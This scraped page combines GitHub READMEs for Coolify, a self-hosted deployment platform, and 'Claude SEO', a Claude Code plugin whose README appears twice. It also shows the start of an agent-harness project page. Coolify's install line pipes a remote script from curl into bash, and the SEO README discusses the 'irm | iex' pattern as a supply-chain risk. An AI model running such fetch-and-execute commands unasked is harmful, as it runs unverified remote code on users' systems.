![\"Movavi\"](\"https://cdn.coollabs.io/sponsors/movavi.png\")
![\"ABXY\"](\"https://usefoil.com/favicon.svg?sanitize=true\")
![\"LaunchFast](\"https://github.com/LaunchFast-Boilerplates.png\")
![\"Netrouting\"](\"https://github.com/netroutingcom.png\")
![\"MindEd](\"https://github.com/mindedtech.png\")
![\"YouStable\"](\"https://github.com/youstable.png\")
![\"Transcript](\"https://transcript.lol/logo.png\"){kind=logo}
![\"Autom\"](\"https://cdn.coollabs.io/sponsors/autom.png\")
![\"HuntAPI\"](\"https://cdn.coollabs.io/sponsors/huntapi.png\")
![\"ULTRASERVERS\"](\"https://github.com/ULTRASERVERS.png\")
![\"VibeTone\"](\"https://github.com/vibetonefm.png\")
![\"Piloterr\"](\"https://cdn.coollabs.io/sponsors/piloterr.svg?sanitize=true\")
![\"Alexey](\"https://github.com/aspantel.png\")
![\"SummYT](\"https://summyt.app/logo.svg?sanitize=true\"){kind=logo}
![\"OpenElements\"](\"https://github.com/OpenElements.png\")
![\"Xaman\"](\"https://github.com/XamanApp.png\")
![\"Monadical\"](\"https://github.com/Monadical-SAS.png\")
![\"Magic](\"https://github.com/magicasaservice.png\")
![\"FiveManage\"](\"https://cdn.coollabs.io/sponsors/fivemanage.jpg\")
![\"Crypto](\"https://github.com/cryptojobslist.png\")
![\"SerpAPI\"](\"https://github.com/serpapi.png\")
![\"typebot\"](\"https://cdn.bsky.app/img/avatar/plain/did:plc:gwxcta3pccyim4z5vuultdqx/bafkreig23hci7e2qpdxicsshnuzujbcbcgmydxhbybkewszdezhdodv42m@jpeg\")
![\"360Creators\"](\"https://opencollective-production.s3.us-west-1.amazonaws.com/account-avatar/503e0953-bff7-4296-b4cc-5e36d40eecc0/icon-360creators.png\"){kind=icon}
![\"Cap-go\"](\"https://github.com/cap-go.png\")
![\"Cirun\"](\"https://cdn.coollabs.io/sponsors/cirun-logo.png\"){kind=logo}
![\"Puls](\"https://github.com/puls-digital-group.png\")
![\"Jonathan](\"https://github.com/jonathanprl.png\")
![\"OutboundGateway\"](\"https://github.com/OutboundGateway.png\")
![\"T4DT](\"https://github.com/t4dt.png\")
![\"Internet](\"https://cdn.coollabs.io/sponsors/internetgarden.ico\")
![\"Evercam\"](\"https://github.com/evercam.png\")
![\"Web3](\"https://cdn.coollabs.io/sponsors/web3jobs.png\")
![\"LinkDr\"](\"https://cdn.coollabs.io/sponsors/linkdr.svg?sanitize=true\")
![\"Arvensis](\"https://cdn.coollabs.io/sponsors/arvensis.png\")
![\"RunPod\"](\"https://cdn.coollabs.io/sponsors/runpod.svg?sanitize=true\")
![\"Gravity](\"https://github.com/gravitywiz.png\")
![\"UXWizz\"](\"https://github.com/UXWizz.png\")
![\"Codext\"](\"https://cdn.coollabs.io/sponsors/codext.jpg\")
![\"InterviewPal\"](\"https://cdn.coollabs.io/sponsors/interviewpal.svg?sanitize=true\")
![\"Decidable\"](\"https://github.com/Decidable-AS.png\")
![\"Host](\"https://cdn.coollabs.io/sponsors/hosthavoc.png\")
...and many more at GitHub Sponsors
\nAn open-source, self-hostable PaaS alternative to Vercel, Heroku & Netlify that lets you easily deploy static sites, databases, full-stack applications and 360+ one-click services on your own servers.
\n An open-source platform to deploy applications, databases, and services on your own servers.
\nOpen source & free forever, backed by our philosophy.
\nWebsite \u00b7 Documentation \u00b7 Cloud \u00b7 Discord \u00b7 Community
\nCoolify is an open-source and self-hostable alternative to Heroku, Netlify, and Vercel. It helps you manage servers, applications, and databases on your own hardware. You only need an SSH connection.
\nYou can use a VPS, a bare-metal server, a Raspberry Pi, or any other server that accepts SSH connections. Coolify gives you the convenience of a cloud platform while you keep control of your infrastructure.
\nYour configurations stay on your servers. If you stop using Coolify, your running resources continue to work and remain manageable.
\nInstall Coolify on a supported server with one command:
\ncurl -fsSL https://cdn.coollabs.io/coolify/install.sh | bash\nRead the installation guide for requirements and detailed instructions. You can also review the installation script before you run it.
\n| Self-hosted | \nCoolify Cloud | \n
|---|---|
| Install Coolify on your own server. | \nUse a Coolify instance that we maintain. | \n
| Control and maintain the complete platform. | \nGet high availability and less maintenance. | \n
| Free and open source. | \nPaid service with email notifications and additional support. | \n
The recommended self-hosted setup uses one server for Coolify and one or more servers for deployed resources. If you do not want to maintain the Coolify server, use Coolify Cloud. See coolify.io for current pricing.
\nTo stay completely free and open-source, with no feature behind the paywall and evolve the project, we need your help. If you like Coolify, please consider donating to help us fund the project's future development.
\n \nThank you so much!
\n
...and many more at GitHub Sponsors
\nUniversal SEO skill for Claude Code. 26 sub-skills + 19 sub-agents covering technical SEO, E-E-A-T, schema, GEO/AEO, agent readiness (Lighthouse Agentic Browsing, WebMCP, llms.txt), backlinks, local SEO, e-commerce, international SEO, Google APIs, and PDF/Excel reporting. 9 optional extensions for live SEO data.
https://skool.com/ai-marketing-hub-pro
![\"Claude](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/hero.svg?sanitize=true\")
\n Free, open-source SEO audits inside Claude Code.
Rank higher in Google and get cited by AI search.
Install \u00b7 Demo \u00b7 Results \u00b7 Team \u00b7 Commands \u00b7 Pricing \u00b7 FAQ
\n ![\"CI\"](\"https://github.com/AgriciDaniel/claude-seo/actions/workflows/ci.yml/badge.svg?sanitize=true\"){kind=icon}
![\"Claude](\"https://img.shields.io/badge/Claude%20Code-Plugin-blue\"){kind=icon}
![\"License:](\"https://img.shields.io/badge/License-MIT-yellow.svg?sanitize=true\"){kind=icon}
![\"Version\"](\"https://img.shields.io/github/v/release/AgriciDaniel/claude-seo\")
![\"Tests\"](\"https://img.shields.io/badge/tests-1077%20passing-brightgreen\"){kind=icon}
![\"GitHub](\"https://img.shields.io/github/stars/AgriciDaniel/claude-seo?style=flat\")
![\"AI](\"https://img.shields.io/badge/AI%20Marketing%20Hub-Pro%20community-purple\"){kind=icon}
Claude SEO is a free SEO plugin for Claude Code. Give it any website and it runs a full SEO audit in 10 to 15 minutes, then hands you a clear action plan, sorted by what matters most.
\nIt checks everything a good SEO consultant would:
\nClaude SEO is built from 26 sub-skills and 19 specialist agents, and up to 17 agents work on your site at the same time. Every recommendation explains why it matters and how you will know it worked.
\nType /seo in Claude Code to see every command:
![\"Claude](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-command-demo.gif\")
Run a full audit and watch the agents fan out across the site:
\n![\"Claude](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/screenshots/seo-audit-demo.gif\")
Watch the full demo on YouTube
\nThe project's own site, claude-seo.md, audited with Claude SEO from day one: 10.8K Search Console clicks in its first 12 weeks and a 99 mobile PageSpeed score.
\n![\"Real](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/screen.svg?sanitize=true\")
\n![\"The](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/team.svg?sanitize=true\")
\n| Agent | \nRole | \nModel | \nCommand | \n
|---|---|---|---|
seo-technical | \n Technical SEO Lead | \nSonnet | \n/seo technical | \n
seo-content | \n Content Editor | \nOpus | \n/seo content | \n
seo-schema | \n Structured Data Engineer | \nSonnet | \n/seo schema | \n
seo-sitemap | \n Sitemap Architect | \nSonnet | \n/seo sitemap | \n
seo-performance | \n Performance Engineer | \nSonnet | \n/seo audit | \n
seo-visual | \n Visual QA | \nSonnet | \n/seo audit | \n
seo-geo | \n AI Search Analyst | \nOpus | \n/seo geo | \n
seo-agentic | \n Agent Readiness Analyst | \nSonnet | \n/seo agentic | \n
seo-local | \n Local SEO Specialist | \nSonnet | \n/seo local | \n
seo-maps | \n Maps Analyst | \nSonnet | \n/seo maps | \n
seo-google | \n Google Data Analyst | \nSonnet | \n/seo google | \n
seo-backlinks | \n Link Analyst | \nSonnet | \n/seo backlinks | \n
| Live data (extension) | \nLive Data Analyst | \nSonnet | \n/seo audit | \n
seo-image-gen | \n Image Producer (extension) | \nSonnet | \n/seo image-gen | \n
seo-cluster | \n Topic Strategist | \nOpus | \n/seo cluster | \n
seo-sxo | \n Search Experience Designer | \nOpus | \n/seo sxo | \n
seo-drift | \n Change Monitor | \nOpus | \n/seo drift | \n
seo-ecommerce | \n E-commerce Specialist | \nSonnet | \n/seo ecommerce | \n
seo-flow | \n FLOW Strategist | \nSonnet | \n/seo flow | \n
Built for:
\n![\"The](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/map.svg?sanitize=true\")
\n30 core and extension commands in six groups. Open one to see what is inside; a few more extension commands are in the full command reference.
\n/seo setup: Create or refresh the isolated Python runtime and Chromium/seo doctor: Check runtime readiness without changing the system/seo audit <url>: Full website audit with parallel agents/seo page <url>: Deep single-page analysis/seo plan <type>: Strategic SEO planning (saas, local, ecommerce, publisher, agency)/seo technical <url>: Technical SEO audit across 9 categories/seo sitemap <url | generate>: Analyze or generate XML sitemaps/seo images <url>: Image optimization analysis/seo hreflang <url>: Hreflang and i18n SEO audit and generation/seo programmatic <url>: Programmatic SEO analysis and planning/seo google [command]: Google SEO APIs: GSC, PageSpeed, CrUX, Indexing, GA4, PDF reports/seo drift baseline | compare | history <url>: SEO drift monitoring with SQLite snapshots/seo content <url>: E-E-A-T and content quality analysis/seo content-brief <topic>: Content brief: target keywords, outline, internal links/seo cluster <keyword>: SERP-based semantic clustering/seo sxo <url>: Search Experience Optimization: page type, user stories, personas/seo flow [stage]: FLOW framework prompts (CC BY 4.0, evidence-led)/seo competitor-pages <url>: Competitor comparison page generation/seo schema <url>: Detect, validate and generate Schema.org markup/seo geo <url>: AI Overviews and Generative Engine Optimization/seo agentic <url>: Agent readiness: Lighthouse Agentic Browsing X/N, AI agent access, llms.txt, Markdown, WebMCP/seo local <url>: Local SEO: GBP, citations, reviews, map pack/seo maps [command]: Maps intelligence: geo-grid, GBP audit, reviews, competitors/seo backlinks <url>: Backlink profile analysis (Moz, Bing, Common Crawl)/seo ecommerce <url>: E-commerce SEO and marketplace intelligence/seo image-gen [use-case]: AI image generation for SEO assets/seo seranking [command]: AI Share-of-Voice across ChatGPT, Gemini, Perplexity, AI Overviews, AI Mode/seo profound [command]: LLM citation tracking with time-series data/seo bing [command] <url>: Bing Webmaster Tools + IndexNow URL submission/seo unlighthouse <url>: Multi-page Lighthouse runner, runs locally![\"Same](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/shop.svg?sanitize=true\")
\n| \n | Doing it by hand | \nHiring an agency | \nSEO audit software | \nClaude SEO | \n
|---|---|---|---|---|
| Time per audit | \n4 to 8 hours | \n1 to 3 weeks | \n10 to 45 minutes | \n10 to 15 minutes | \n
| Cost | \nBillable hours | \n$2k to $15k+ per project | \n$99 to $999 a month | \nFree, with your Claude Code plan | \n
| Consistent checks | \nDepends on who does it | \nDepends on the team | \nYes | \nSame checklist every time | \n
| What you get | \nA spreadsheet or PDF | \nA slide deck | \nA dashboard and CSV exports | \nMarkdown, PDF and JSON files you keep | \n
| Your data stays with you | \nYes | \nNo | \nNo | \nYes, it runs on your machine | \n
| Covers AI search | \nDepends | \nDepends | \nOften months behind | \nYes, follows Google's latest guidance | \n
| Each fix comes with a way to check it worked | \nSometimes | \nSometimes | \nRarely | \nYes | \n
\n\nTypical market prices, for illustration. Your numbers may differ.
\n
Reports are saved as Markdown, and /seo google report turns them into a polished PDF.
# Schema Markup Report: rankenstein.pro/about\n\n| Metric | Value |\n|---------------------|---------------------------------------------|\n| JSON-LD Blocks | 3 |\n| Schema Types | Organization, WebSite, SoftwareApplication |\n| Critical Issues | 2 |\n| Warnings | 5 |\n| Passed Checks | 18 |\n| Overall Grade | B+ (solid foundation, actionable gaps) |\n\n**Critical Issue:** The `founder` property only includes Daniel Agrici.\nBenjamin Samar (Co-Founder and Technical Director) is displayed on the page\nbut absent from the schema. This content-schema mismatch can confuse search engines.\nWant the details? Read the methodology and the architecture.
\n![\"Installing](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/install.svg?sanitize=true\")
\nYou need Claude Code 1.0.33 or newer. Run these three commands inside it:
\n/plugin marketplace add AgriciDaniel/claude-seo\n/plugin install claude-seo@agricidaniel-claude-seo\n/seo setup\n/seo setup prepares everything Claude SEO needs (its own Python environment and a headless browser) without touching the rest of your system. Run /seo doctor any time to check it.
![\"Manual](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-unix.svg?sanitize=true\")
\n git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/install.sh\nOne-liner (curl, review then run):
\ncurl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/install.sh > install.sh\ncat install.sh # review before running\nbash install.sh\nrm install.sh\n![\"Manual](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/plat-win.svg?sanitize=true\")
\n git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\npowershell -ExecutionPolicy Bypass -File claude-seo\\install.ps1\n\n\nWhy
\ngit cloneinstead ofirm | iex? Claude Code's own security guardrails flagirm ... | iexas a supply chain risk: downloading and executing remote code without verification. Thegit cloneapproach lets you inspectclaude-seo\\install.ps1before running it.
\n\nTwo versions. This public version is MIT licensed and free for everyone. AI Marketing Hub Pro members also get a private version with early access to new features. Members install it with:
\n\n/plugin marketplace add AI-Marketing-Hub/claude-seo\n/plugin install claude-seo@ai-marketing-hub-claude-seo\n/seo setup\n
Your first audit:
\nclaude # start Claude Code\n\n/seo audit https://example.com # full site audit with a prioritized plan\n/seo page https://example.com/pricing # one page, in depth\n/seo geo https://example.com # how ready you are for AI search\n/seo schema https://example.com # check and generate structured data\n/seo local https://example.com # local SEO and Google Business Profile\nA free, open-source SEO audit tool that runs inside Claude Code. It checks technical SEO, Core Web Vitals, content quality, Schema.org structured data, AI search readiness, local SEO, e-commerce and international SEO, then gives you a prioritized action plan. It follows Google's own documentation, including the AI Optimization Guide.
\nYes. It is MIT licensed, with no per-site pricing, no usage limits and no tracking. You only need Claude Code. A few optional extensions connect to paid services where you bring your own account, but everything works without them.
\nNo. Claude SEO works out of the box. If you want real field data, you can connect free Google APIs (PageSpeed Insights, Chrome UX Report, Search Console and Google Analytics 4) with /seo google setup. Your keys stay on your machine.
Google says optimizing for AI search is still SEO, so Claude SEO starts with the basics that AI answers rely on: being indexed, fast and clear. Then /seo geo scores how easy your pages are to quote, checks that AI crawlers can reach them and looks at your brand's presence on Wikipedia, Reddit, YouTube and LinkedIn. /seo agentic checks how well AI agents can use your site.
Yes. When a page needs JavaScript to show its content, Claude SEO opens it in a headless browser automatically, so single-page apps are audited as visitors see them.
\nCrawlers like Screaming Frog crawl faster and deeper, and big SEO suites have their own backlink databases. Claude SEO does something else: it explains what it finds, sorts it by impact, covers AI search in depth and lets you ask follow-up questions in plain English. Many people use both.
\nClaude SEO runs inside Claude Code, so the pages and data it analyzes are sent to Claude, Anthropic's model, the same as anything else you work on in Claude Code. Reports are saved as files on your machine. No SEO service or other third party sees your data unless you connect an extension or API yourself. Besides the site you audit, some checks read public sources such as Wikipedia, Reddit and Common Crawl. See PRIVACY.md for the full list.
\nRequirements. Claude Code 1.0.33 or newer and Python 3.11 to 3.14. /seo setup installs the headless browser for you.
Cost of a full audit. Five agents that need more judgment run on Opus and the rest on Sonnet, so a full /seo audit uses more of your Claude plan than a single-page check. You can change any agent's model in its file under agents/.
Limits. Without Google API keys, Core Web Vitals are lab estimates and indexing is inferred from the page. Pages that load key content only after scrolling or clicking can give noisy results.
\nUninstall. Installed as a plugin: /plugin uninstall claude-seo@agricidaniel-claude-seo. Installed manually:
git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/uninstall.sh\nOptional add-ons that bring in more data. Claude SEO works fully without them.
\nSetup guides live in extensions/.
| Project | \nWhat it does | \n
|---|---|
| Claude Blog | \nWrites and optimizes blog posts from your SEO findings | \n
| Claude Banana | \nAI image generation for SEO assets and posts | \n
| ChatGPT SEO | \nTurns a page, draft or SEO export into a sourced fix plan inside ChatGPT | \n
| FLOW | \nAn evidence-led SEO framework with 42 AI prompts | \n
| AI Marketing Claude | \nCommunity suite for copy, email, ads and funnels | \n
Docs: Installation \u00b7 Commands \u00b7 Architecture \u00b7 Troubleshooting \u00b7 Extensions setup \u00b7 Security \u00b7 Privacy \u00b7 Contributors
\nMIT License, see LICENSE. Contributions are welcome: read CONTRIBUTING.md first and mention the checks you ran in your pull request.
\nBuilt by Agrici Daniel, AI Workflow Architect, with help from the AI Marketing Hub Pro community.
\n![\"Thanks](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/v3/credits.svg?sanitize=true\")
\n ![\"Claude](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-youtube.svg?sanitize=true\")
![\"AI](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-hub.svg?sanitize=true\")
![\"AI](\"https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/assets/readme/btn-pro.svg?sanitize=true\")
Universal SEO skill for Claude Code. 26 sub-skills + 19 sub-agents covering technical SEO, E-E-A-T, schema, GEO/AEO, agent readiness (Lighthouse Agentic Browsing, WebMCP, llms.txt), backlinks, local SEO, e-commerce, international SEO, Google APIs, and PDF/Excel reporting. 9 optional extensions for live SEO data.
https://skool.com/ai-marketing-hub-pro
\n Free, open-source SEO audits inside Claude Code.
Rank higher in Google and get cited by AI search.
Install \u00b7 Demo \u00b7 Results \u00b7 Team \u00b7 Commands \u00b7 Pricing \u00b7 FAQ
\n
Claude SEO is a free SEO plugin for Claude Code. Give it any website and it runs a full SEO audit in 10 to 15 minutes, then hands you a clear action plan, sorted by what matters most.
\nIt checks everything a good SEO consultant would:
\nClaude SEO is built from 26 sub-skills and 19 specialist agents, and up to 17 agents work on your site at the same time. Every recommendation explains why it matters and how you will know it worked.
\nType /seo in Claude Code to see every command:
Run a full audit and watch the agents fan out across the site:
\n
Watch the full demo on YouTube
\nThe project's own site, claude-seo.md, audited with Claude SEO from day one: 10.8K Search Console clicks in its first 12 weeks and a 99 mobile PageSpeed score.
\n \n \n| Agent | \nRole | \nModel | \nCommand | \n
|---|---|---|---|
seo-technical | \n Technical SEO Lead | \nSonnet | \n/seo technical | \n
seo-content | \n Content Editor | \nOpus | \n/seo content | \n
seo-schema | \n Structured Data Engineer | \nSonnet | \n/seo schema | \n
seo-sitemap | \n Sitemap Architect | \nSonnet | \n/seo sitemap | \n
seo-performance | \n Performance Engineer | \nSonnet | \n/seo audit | \n
seo-visual | \n Visual QA | \nSonnet | \n/seo audit | \n
seo-geo | \n AI Search Analyst | \nOpus | \n/seo geo | \n
seo-agentic | \n Agent Readiness Analyst | \nSonnet | \n/seo agentic | \n
seo-local | \n Local SEO Specialist | \nSonnet | \n/seo local | \n
seo-maps | \n Maps Analyst | \nSonnet | \n/seo maps | \n
seo-google | \n Google Data Analyst | \nSonnet | \n/seo google | \n
seo-backlinks | \n Link Analyst | \nSonnet | \n/seo backlinks | \n
| Live data (extension) | \nLive Data Analyst | \nSonnet | \n/seo audit | \n
seo-image-gen | \n Image Producer (extension) | \nSonnet | \n/seo image-gen | \n
seo-cluster | \n Topic Strategist | \nOpus | \n/seo cluster | \n
seo-sxo | \n Search Experience Designer | \nOpus | \n/seo sxo | \n
seo-drift | \n Change Monitor | \nOpus | \n/seo drift | \n
seo-ecommerce | \n E-commerce Specialist | \nSonnet | \n/seo ecommerce | \n
seo-flow | \n FLOW Strategist | \nSonnet | \n/seo flow | \n
Built for:
\n \n30 core and extension commands in six groups. Open one to see what is inside; a few more extension commands are in the full command reference.
\n/seo setup: Create or refresh the isolated Python runtime and Chromium/seo doctor: Check runtime readiness without changing the system/seo audit <url>: Full website audit with parallel agents/seo page <url>: Deep single-page analysis/seo plan <type>: Strategic SEO planning (saas, local, ecommerce, publisher, agency)/seo technical <url>: Technical SEO audit across 9 categories/seo sitemap <url | generate>: Analyze or generate XML sitemaps/seo images <url>: Image optimization analysis/seo hreflang <url>: Hreflang and i18n SEO audit and generation/seo programmatic <url>: Programmatic SEO analysis and planning/seo google [command]: Google SEO APIs: GSC, PageSpeed, CrUX, Indexing, GA4, PDF reports/seo drift baseline | compare | history <url>: SEO drift monitoring with SQLite snapshots/seo content <url>: E-E-A-T and content quality analysis/seo content-brief <topic>: Content brief: target keywords, outline, internal links/seo cluster <keyword>: SERP-based semantic clustering/seo sxo <url>: Search Experience Optimization: page type, user stories, personas/seo flow [stage]: FLOW framework prompts (CC BY 4.0, evidence-led)/seo competitor-pages <url>: Competitor comparison page generation/seo schema <url>: Detect, validate and generate Schema.org markup/seo geo <url>: AI Overviews and Generative Engine Optimization/seo agentic <url>: Agent readiness: Lighthouse Agentic Browsing X/N, AI agent access, llms.txt, Markdown, WebMCP/seo local <url>: Local SEO: GBP, citations, reviews, map pack/seo maps [command]: Maps intelligence: geo-grid, GBP audit, reviews, competitors/seo backlinks <url>: Backlink profile analysis (Moz, Bing, Common Crawl)/seo ecommerce <url>: E-commerce SEO and marketplace intelligence/seo image-gen [use-case]: AI image generation for SEO assets/seo seranking [command]: AI Share-of-Voice across ChatGPT, Gemini, Perplexity, AI Overviews, AI Mode/seo profound [command]: LLM citation tracking with time-series data/seo bing [command] <url>: Bing Webmaster Tools + IndexNow URL submission/seo unlighthouse <url>: Multi-page Lighthouse runner, runs locally \n| \n | Doing it by hand | \nHiring an agency | \nSEO audit software | \nClaude SEO | \n
|---|---|---|---|---|
| Time per audit | \n4 to 8 hours | \n1 to 3 weeks | \n10 to 45 minutes | \n10 to 15 minutes | \n
| Cost | \nBillable hours | \n$2k to $15k+ per project | \n$99 to $999 a month | \nFree, with your Claude Code plan | \n
| Consistent checks | \nDepends on who does it | \nDepends on the team | \nYes | \nSame checklist every time | \n
| What you get | \nA spreadsheet or PDF | \nA slide deck | \nA dashboard and CSV exports | \nMarkdown, PDF and JSON files you keep | \n
| Your data stays with you | \nYes | \nNo | \nNo | \nYes, it runs on your machine | \n
| Covers AI search | \nDepends | \nDepends | \nOften months behind | \nYes, follows Google's latest guidance | \n
| Each fix comes with a way to check it worked | \nSometimes | \nSometimes | \nRarely | \nYes | \n
\n\nTypical market prices, for illustration. Your numbers may differ.
\n
Reports are saved as Markdown, and /seo google report turns them into a polished PDF.
# Schema Markup Report: rankenstein.pro/about\n\n| Metric | Value |\n|---------------------|---------------------------------------------|\n| JSON-LD Blocks | 3 |\n| Schema Types | Organization, WebSite, SoftwareApplication |\n| Critical Issues | 2 |\n| Warnings | 5 |\n| Passed Checks | 18 |\n| Overall Grade | B+ (solid foundation, actionable gaps) |\n\n**Critical Issue:** The `founder` property only includes Daniel Agrici.\nBenjamin Samar (Co-Founder and Technical Director) is displayed on the page\nbut absent from the schema. This content-schema mismatch can confuse search engines.\nWant the details? Read the methodology and the architecture.
\n \nYou need Claude Code 1.0.33 or newer. Run these three commands inside it:
\n/plugin marketplace add AgriciDaniel/claude-seo\n/plugin install claude-seo@agricidaniel-claude-seo\n/seo setup\n/seo setup prepares everything Claude SEO needs (its own Python environment and a headless browser) without touching the rest of your system. Run /seo doctor any time to check it.
\n git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/install.sh\nOne-liner (curl, review then run):
\ncurl -fsSL https://raw.githubusercontent.com/AgriciDaniel/claude-seo/main/install.sh > install.sh\ncat install.sh # review before running\nbash install.sh\nrm install.sh\ngit clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\npowershell -ExecutionPolicy Bypass -File claude-seo\\install.ps1\n\n\nWhy
\ngit cloneinstead ofirm | iex? Claude Code's own security guardrails flagirm ... | iexas a supply chain risk: downloading and executing remote code without verification. Thegit cloneapproach lets you inspectclaude-seo\\install.ps1before running it.
\n\nTwo versions. This public version is MIT licensed and free for everyone. AI Marketing Hub Pro members also get a private version with early access to new features. Members install it with:
\n\n/plugin marketplace add AI-Marketing-Hub/claude-seo\n/plugin install claude-seo@ai-marketing-hub-claude-seo\n/seo setup\n
Your first audit:
\nclaude # start Claude Code\n\n/seo audit https://example.com # full site audit with a prioritized plan\n/seo page https://example.com/pricing # one page, in depth\n/seo geo https://example.com # how ready you are for AI search\n/seo schema https://example.com # check and generate structured data\n/seo local https://example.com # local SEO and Google Business Profile\nA free, open-source SEO audit tool that runs inside Claude Code. It checks technical SEO, Core Web Vitals, content quality, Schema.org structured data, AI search readiness, local SEO, e-commerce and international SEO, then gives you a prioritized action plan. It follows Google's own documentation, including the AI Optimization Guide.
\nYes. It is MIT licensed, with no per-site pricing, no usage limits and no tracking. You only need Claude Code. A few optional extensions connect to paid services where you bring your own account, but everything works without them.
\nNo. Claude SEO works out of the box. If you want real field data, you can connect free Google APIs (PageSpeed Insights, Chrome UX Report, Search Console and Google Analytics 4) with /seo google setup. Your keys stay on your machine.
Google says optimizing for AI search is still SEO, so Claude SEO starts with the basics that AI answers rely on: being indexed, fast and clear. Then /seo geo scores how easy your pages are to quote, checks that AI crawlers can reach them and looks at your brand's presence on Wikipedia, Reddit, YouTube and LinkedIn. /seo agentic checks how well AI agents can use your site.
Yes. When a page needs JavaScript to show its content, Claude SEO opens it in a headless browser automatically, so single-page apps are audited as visitors see them.
\nCrawlers like Screaming Frog crawl faster and deeper, and big SEO suites have their own backlink databases. Claude SEO does something else: it explains what it finds, sorts it by impact, covers AI search in depth and lets you ask follow-up questions in plain English. Many people use both.
\nClaude SEO runs inside Claude Code, so the pages and data it analyzes are sent to Claude, Anthropic's model, the same as anything else you work on in Claude Code. Reports are saved as files on your machine. No SEO service or other third party sees your data unless you connect an extension or API yourself. Besides the site you audit, some checks read public sources such as Wikipedia, Reddit and Common Crawl. See PRIVACY.md for the full list.
\nRequirements. Claude Code 1.0.33 or newer and Python 3.11 to 3.14. /seo setup installs the headless browser for you.
Cost of a full audit. Five agents that need more judgment run on Opus and the rest on Sonnet, so a full /seo audit uses more of your Claude plan than a single-page check. You can change any agent's model in its file under agents/.
Limits. Without Google API keys, Core Web Vitals are lab estimates and indexing is inferred from the page. Pages that load key content only after scrolling or clicking can give noisy results.
\nUninstall. Installed as a plugin: /plugin uninstall claude-seo@agricidaniel-claude-seo. Installed manually:
git clone --depth 1 https://github.com/AgriciDaniel/claude-seo.git\nbash claude-seo/uninstall.sh\nOptional add-ons that bring in more data. Claude SEO works fully without them.
\nSetup guides live in extensions/.
| Project | \nWhat it does | \n
|---|---|
| Claude Blog | \nWrites and optimizes blog posts from your SEO findings | \n
| Claude Banana | \nAI image generation for SEO assets and posts | \n
| ChatGPT SEO | \nTurns a page, draft or SEO export into a sourced fix plan inside ChatGPT | \n
| FLOW | \nAn evidence-led SEO framework with 42 AI prompts | \n
| AI Marketing Claude | \nCommunity suite for copy, email, ads and funnels | \n
Docs: Installation \u00b7 Commands \u00b7 Architecture \u00b7 Troubleshooting \u00b7 Extensions setup \u00b7 Security \u00b7 Privacy \u00b7 Contributors
\nMIT License, see LICENSE. Contributions are welcome: read CONTRIBUTING.md first and mention the checks you ran in your pull request.
\nBuilt by Agrici Daniel, AI Workflow Architect, with help from the AI Marketing Hub Pro community.
\n \n
The agent harness performance optimization system. Skills, instincts, memory, security, and research-first development for Claude Code, Codex, Opencode, Cursor and beyond.
![\"ECC](\"https://raw.githubusercontent.com/affaan-m/ECC/main/assets/hero.png\")
Language: English | \u0627\u0644\u0639\u0631\u0628\u064a\u0629 | Portugu\u00eas (Brasil) | \u7b80\u4f53\u4e2d\u6587 | \u7e41\u9ad4\u4e2d\u6587 | \u65e5\u672c\u8a9e | \ud55c\uad6d\uc5b4 | T\u00fcrk\u00e7e | \u0420\u0443\u0441\u0441\u043a\u0438\u0439 | Ti\u1ebfng Vi\u1ec7t | \u0e44\u0e17\u0e22 | Deutsch | Espa\u00f1ol | \u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430 | Polski | \u09ac\u09be\u0982\u09b2\u09be
\n ![\"Discord\"](\"https://img.shields.io/discord/1496644400590094540?logo=discord&logoColor=white&label=Discord&color=5865F2\")
![\"Website\"](\"https://img.shields.io/badge/Website-ecc.tools-E07856?logo=googlechrome&logoColor=white\"){kind=icon}
![\"GitHub](\"https://img.shields.io/badge/GitHub%20App-ECC%20Tools-181717?logo=github&logoColor=white\"){kind=icon}
![\"MIT](\"https://img.shields.io/badge/license-MIT-blue.svg?sanitize=true\"){kind=icon}
![\"GitHub](\"https://img.shields.io/github/stars/affaan-m/ECC?style=flat\")
![\"GitHub](\"https://img.shields.io/github/forks/affaan-m/ECC?style=flat\")
![\"Contributors\"](\"https://img.shields.io/github/contributors/affaan-m/ECC?style=flat\")
![\"GitHub](\"https://img.shields.io/endpoint?url=https%3A%2F%2Fapi.ecc.tools%2Fbadge%2Finstalls&logo=github\")
![\"ecc-universal](\"https://img.shields.io/npm/dw/ecc-universal?label=ecc-universal&logo=npm\")
![\"ecc-agentshield](\"https://img.shields.io/npm/dw/ecc-agentshield?label=ecc-agentshield&logo=npm\")
![\"Shell\"](\"https://img.shields.io/badge/-Shell-4EAA25?logo=gnu-bash&logoColor=white\"){kind=icon}
![\"TypeScript\"](\"https://img.shields.io/badge/-TypeScript-3178C6?logo=typescript&logoColor=white\"){kind=icon}
![\"Python\"](\"https://img.shields.io/badge/-Python-3776AB?logo=python&logoColor=white\"){kind=icon}
![\"Go\"](\"https://img.shields.io/badge/-Go-00ADD8?logo=go&logoColor=white\"){kind=icon}
![\"Java\"](\"https://img.shields.io/badge/-Java-ED8B00?logo=openjdk&logoColor=white\"){kind=icon}
![\"Perl\"](\"https://img.shields.io/badge/-Perl-39457E?logo=perl&logoColor=white\"){kind=icon}
